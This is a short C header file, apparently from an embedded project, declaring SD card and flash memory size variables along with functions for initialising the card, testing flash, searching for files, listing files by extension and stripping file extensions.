extern uint16_t SDCard_Size;
|
||||
extern uint16_t Flash_Size;
|
||||
|
||||
void SD_Init();
|
||||
void Flash_test();
|
||||
|
||||
bool File_Search(const char* directory, const char* fileName);
|
||||
uint16_t Folder_retrieval(const char* directory, const char* fileExtension, char File_Name[][100],uint16_t maxFiles);
|
||||
void remove_file_extension(char *file_name);
|
||||
Reference in New Issue
Block a user